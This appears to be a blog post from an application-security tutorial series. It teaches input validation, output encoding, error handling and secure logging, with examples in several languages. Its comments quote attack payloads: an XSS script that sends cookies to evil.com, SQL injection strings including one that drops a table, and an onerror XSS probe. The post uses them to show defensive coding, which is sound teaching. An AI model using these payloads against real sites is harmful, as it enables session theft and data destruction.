← Blog

"AppSec Series #2: Secure Coding Fundamentals — Input Validation, Output Encoding and Error Handling"

Secure code starts with four rules — validate all input, encode all output, handle errors safely, and log without leaking. Master these and eliminate 70% of common vulnerabilities before they exist.

reading now
views
comments

Series Navigation

Part 1: Introduction — Mindset, CIA Triad and Threat Landscape

Part 3: OWASP Top 10 Deep Dive


The Four Pillars of Secure Code

SECURE CODING PILLARS:
│
├── 1. INPUT VALIDATION    Never trust data you didn't create
├── 2. OUTPUT ENCODING     Escape before rendering/executing
├── 3. ERROR HANDLING      Fail safely, never expose internals
└── 4. SECURE LOGGING      Record what happened, not what users typed

Master these four and you eliminate the majority of injection, XSS, information disclosure, and logic vulnerabilities before they are introduced.


Pillar 1 — Input Validation

The rule: Every piece of data entering your application from outside is untrusted until validated. Outside means: HTTP request body, query params, headers, cookies, uploaded files, database results (if written by another service), environment variables, config files from external systems.

What to Validate

For every input field, validate:
├── Type      — is it the right type? (string, int, email, UUID)
├── Length    — min and max length?
├── Format    — does it match expected pattern?
├── Range     — is a number within allowed bounds?
├── Whitelist — is it from an allowed set of values?
└── Business  — does it make sense in context?

Python — Using Pydantic for Validation

from pydantic import BaseModel, EmailStr, validator, constr, conint
from typing import Optional
import re

class UserRegistrationRequest(BaseModel):
    username: constr(min_length=3, max_length=30, regex=r'^[a-zA-Z0-9_]+$')
    email: EmailStr
    age: conint(ge=18, le=120)  # ge=greater-than-or-equal, le=less-than-or-equal
    password: constr(min_length=12, max_length=128)
    role: str

    @validator('role')
    def role_must_be_valid(cls, v):
        allowed = {'user', 'viewer', 'editor'}
        if v not in allowed:
            raise ValueError(f'Role must be one of {allowed}')
        return v

    @validator('password')
    def password_complexity(cls, v):
        if not re.search(r'[A-Z]', v):
            raise ValueError('Password must contain uppercase letter')
        if not re.search(r'[a-z]', v):
            raise ValueError('Password must contain lowercase letter')
        if not re.search(r'\d', v):
            raise ValueError('Password must contain a digit')
        if not re.search(r'[!@#$%^&*]', v):
            raise ValueError('Password must contain special character')
        return v

# FastAPI usage — validation happens automatically
from fastapi import FastAPI, HTTPException
app = FastAPI()

@app.post('/register')
async def register(req: UserRegistrationRequest):
    # If we reach here, all fields are validated
    # Pydantic raises 422 automatically on invalid input
    return {"message": "User created"}

Node.js — Using Joi or Zod

const Joi = require('joi');

const registrationSchema = Joi.object({
  username: Joi.string()
    .alphanum()
    .min(3).max(30)
    .required(),

  email: Joi.string()
    .email({ tlds: { allow: false } })
    .required(),

  age: Joi.number()
    .integer()
    .min(18).max(120)
    .required(),

  password: Joi.string()
    .min(12).max(128)
    .pattern(/[A-Z]/, 'uppercase')
    .pattern(/[a-z]/, 'lowercase')
    .pattern(/\d/, 'number')
    .required(),

  role: Joi.string()
    .valid('user', 'viewer', 'editor')
    .default('user')
});

app.post('/register', async (req, res) => {
  const { error, value } = registrationSchema.validate(req.body, {
    abortEarly: false,   // return ALL errors, not just first
    stripUnknown: true   // remove unexpected fields
  });

  if (error) {
    // Return generic error — don't echo back user input
    return res.status(400).json({
      error: 'Invalid request',
      details: error.details.map(d => d.message)
    });
  }

  // value is now safe and sanitised
  await createUser(value);
  res.status(201).json({ message: 'Created' });
});

Java — Bean Validation (JSR-380)

import javax.validation.constraints.*;

public class UserRegistrationRequest {

    @NotBlank
    @Size(min = 3, max = 30)
    @Pattern(regexp = "^[a-zA-Z0-9_]+$", message = "Username can only contain letters, numbers, underscores")
    private String username;

    @NotBlank
    @Email
    private String email;

    @Min(18) @Max(120)
    private int age;

    @NotBlank
    @Size(min = 12, max = 128)
    private String password;

    // Custom validator for allowed values
    @NotNull
    private Role role; // Enum — Java validates automatically
}

// In Spring Boot controller
@PostMapping("/register")
public ResponseEntity<?> register(@Valid @RequestBody UserRegistrationRequest req,
                                   BindingResult result) {
    if (result.hasErrors()) {
        List<String> errors = result.getFieldErrors()
            .stream()
            .map(e -> e.getField() + ": " + e.getDefaultMessage())
            .collect(Collectors.toList());
        return ResponseEntity.badRequest().body(Map.of("errors", errors));
    }
    // proceed safely
}

Whitelist vs Blacklist

# ❌ BLACKLIST approach — will always miss something
def is_safe_input(s):
    bad_chars = ["'", '"', ';', '--', 'DROP', 'SELECT']
    for bad in bad_chars:
        if bad in s:
            return False
    return True  # Attacker uses: %27, &#39;, unicode equivalents...

# ✅ WHITELIST approach — only allow what you expect
import re

def validate_username(s: str) -> bool:
    # Only allow alphanumeric and underscore, 3-30 chars
    return bool(re.match(r'^[a-zA-Z0-9_]{3,30}$', s))

def validate_search_query(s: str) -> str:
    # Strip everything except alphanumeric and spaces
    return re.sub(r'[^a-zA-Z0-9 ]', '', s)[:100]

Pillar 2 — Output Encoding

The rule: Encode output based on WHERE it will be rendered. The context determines the encoding.

Output contexts and required encoding:
├── HTML body    → HTML entity encoding  (&lt; &gt; &amp; &quot;)
├── HTML attribute → attribute encoding  (quote all attributes)
├── JavaScript   → JavaScript escaping   (\u003c \u003e)
├── CSS          → CSS escaping
├── URL          → URL encoding          (%3C %3E)
└── SQL          → Parameterised queries (NOT string encoding)

HTML Encoding — Prevent XSS

# ❌ Dangerous — raw user data in HTML
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('q', '')
    # If query = "<script>document.location='http://evil.com?c='+document.cookie</script>"
    # This renders the script and steals cookies
    return render_template_string(f"<p>Results for: {query}</p>")

# ✅ Safe — Jinja2 auto-escapes by default
from flask import render_template
@app.route('/search')
def search():
    query = request.args.get('q', '')
    return render_template('search.html', query=query)
    # In template: {{ query }} — Jinja2 automatically HTML-encodes this
// ❌ Dangerous — setting innerHTML with user data
const username = getUserInput();
document.getElementById('greeting').innerHTML = 'Hello, ' + username;
// If username = '<img src=x onerror=alert(1)>' → XSS

// ✅ Safe — use textContent, never innerHTML with user data
document.getElementById('greeting').textContent = 'Hello, ' + username;

// ✅ If you must use HTML, encode first
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}
document.getElementById('greeting').innerHTML = 'Hello, ' + escapeHtml(username);

SQL — Parameterised Queries (Not Encoding)

# ❌ SQL injection vulnerability
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    # username = "' OR '1'='1' --" → returns all users
    # username = "'; DROP TABLE users; --" → deletes table
    return db.execute(query)

# ✅ Parameterised query — NEVER buildSQL strings with user data
def get_user(username: str):
    # The driver handles escaping — you never concatenate
    return db.execute(
        "SELECT * FROM users WHERE username = %s",
        (username,)
    )

# ✅ SQLAlchemy ORM — even safer
from sqlalchemy import select
def get_user(username: str):
    stmt = select(User).where(User.username == username)
    return session.execute(stmt).scalar_one_or_none()
// ❌ NEVER
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

// ✅ Always use PreparedStatement
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username);   // driver handles escaping
ResultSet rs = stmt.executeQuery();

Content Security Policy — Defence in Depth

Even with output encoding, add a CSP header as a second layer:

# Flask — add security headers
from flask import Flask
from flask_talisman import Talisman

app = Flask(__name__)
Talisman(app, content_security_policy={
    'default-src': "'self'",
    'script-src': ["'self'", 'cdn.jsdelivr.net'],
    'style-src': ["'self'", "'unsafe-inline'"],  # avoid unsafe-inline if possible
    'img-src': ["'self'", 'data:', 'https:'],
    'connect-src': "'self'",
    'frame-ancestors': "'none'",     # prevent clickjacking
    'base-uri': "'self'",
    'form-action': "'self'",
})
# nginx — add headers
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

Pillar 3 — Error Handling

The rule: Errors shown to users must be generic. Errors logged internally must be detailed.

# ❌ Exposes implementation details
@app.errorhandler(Exception)
def handle_error(e):
    return jsonify({
        "error": str(e),           # reveals database schema, file paths, stack traces
        "trace": traceback.format_exc()  # attacker maps your internal architecture
    }), 500

# ✅ Generic to user, detailed in logs
import logging
import uuid

logger = logging.getLogger(__name__)

@app.errorhandler(Exception)
def handle_error(e):
    error_id = str(uuid.uuid4())[:8]  # correlation ID

    # Log full detail internally
    logger.error(
        f"[{error_id}] Unhandled exception: {e}",
        exc_info=True,          # includes stack trace in log
        extra={'user_id': get_current_user_id()}
    )

    # Return generic message to user
    return jsonify({
        "error": "An unexpected error occurred",
        "reference": error_id   # user can give this to support
    }), 500
// Express error handler
app.use((err, req, res, next) => {
  const errorId = crypto.randomUUID().slice(0, 8);

  // Log internally with full context
  logger.error({
    errorId,
    message: err.message,
    stack: err.stack,
    url: req.url,
    method: req.method,
    userId: req.user?.id,
  });

  // Respond generically
  const statusCode = err.statusCode || 500;
  res.status(statusCode).json({
    error: statusCode === 500 ? 'Internal server error' : err.message,
    errorId,
  });
});

Fail Closed — Not Open

# ❌ Fail open — denies error but grants access
def check_admin_permission(user_id):
    try:
        user = db.get_user(user_id)
        return user.is_admin
    except Exception:
        return True  # BUG: grants admin access on any error

# ✅ Fail closed — denies access on error
def check_admin_permission(user_id):
    try:
        user = db.get_user(user_id)
        return user.is_admin
    except Exception as e:
        logger.error(f"Permission check failed for user {user_id}: {e}")
        return False  # Safe default: deny

Pillar 4 — Secure Logging

What to log:

✅ Log these:
├── Authentication events (login, logout, failed login)
├── Authorization failures (access denied)
├── Data modifications (create, update, delete)
├── Admin actions
├── Security events (account locked, password changed)
└── Application errors (with correlation ID)

❌ Never log these:
├── Passwords (in any form)
├── Full credit card numbers (PAN)
├── CVV / security codes
├── Social security numbers
├── Full API keys or tokens (log first/last 4 chars only)
├── Session tokens or JWT contents
└── Health/medical data
import logging
import re

class SecureFormatter(logging.Formatter):
    """Strips sensitive data from log messages"""

    PATTERNS = [
        (r'\bpassword[=:]\S+', 'password=[REDACTED]'),
        (r'\b\d{16}\b', '[CARD-REDACTED]'),          # 16-digit card numbers
        (r'\b[A-Z0-9]{20,}\b', '[TOKEN-REDACTED]'),  # Long uppercase strings (API keys)
        (r'\b(?:\d{3}-\d{2}-\d{4})\b', '[SSN-REDACTED]'),  # SSN
    ]

    def format(self, record):
        message = super().format(record)
        for pattern, replacement in self.PATTERNS:
            message = re.sub(pattern, replacement, message, flags=re.IGNORECASE)
        return message

# Structured logging — machine-parseable for SIEM
import structlog

log = structlog.get_logger()

def login(username, password):
    user = authenticate(username, password)
    if user:
        log.info("user.login.success",
                 user_id=user.id,
                 ip=request.remote_addr,
                 user_agent=request.user_agent.string)
    else:
        log.warning("user.login.failure",
                    username=username,  # log username but NEVER password
                    ip=request.remote_addr,
                    reason="invalid_credentials")

The Secure Code Review Checklist

Use this on every PR:

INPUT VALIDATION
□ All inputs validated (type, length, format, range)
□ Whitelist approach used, not blacklist
□ File uploads checked (type, size, name, content)
□ No user input in shell commands, file paths, SQL

OUTPUT ENCODING
□ HTML output encoded (template engine auto-escape enabled)
□ No raw user data in innerHTML/dangerouslySetInnerHTML
□ Parameterised queries everywhere — no string concatenation for SQL
□ JSON responses use proper content-type header

ERROR HANDLING
□ No stack traces or internal paths in API responses
□ Generic user-facing messages
□ Errors logged with correlation IDs
□ Fail closed on errors (default deny)

AUTHENTICATION & AUTHORISATION
□ Every protected endpoint checks authentication
□ Every sensitive action checks authorisation
□ No security checks client-side only
□ Sensitive operations require re-authentication

LOGGING
□ Auth events logged (success AND failure)
□ No passwords, tokens, or PII in logs
□ Sufficient detail to reconstruct events

DEPENDENCIES
□ No known-vulnerable library versions
□ Dependencies pinned to exact versions
□ No unused dependencies

Interview Questions — Secure Coding

Q: What is the difference between authentication and authorisation?

Authentication verifies who you are (login, JWT validation). Authorisation verifies what you are allowed to do (can this user access this resource). They are separate concerns and must both be checked. A common bug is checking authentication but not authorisation — a logged-in user accesses another user's data.

Q: Why can't I just sanitise input to prevent SQL injection?

Sanitisation (blacklisting or escaping) will always miss edge cases — Unicode equivalents, double-encoding, database-specific escape sequences. The only reliable defence is parameterised queries / prepared statements, where user input is never interpreted as SQL code.

Q: What is the same-origin policy?

A browser security mechanism that prevents JavaScript on evil.com from reading responses from bank.com. CORS (Cross-Origin Resource Sharing) is the mechanism to explicitly allow cross-origin requests when needed.


What's Next

In Part 3 we go through every OWASP Top 10 vulnerability with a real attack scenario, vulnerable code, secure fix, and detection method. This is the post you'll reference most in interviews.

Discussion

Loading...

Leave a Comment

All comments are reviewed before appearing. No links please.

0 / 1000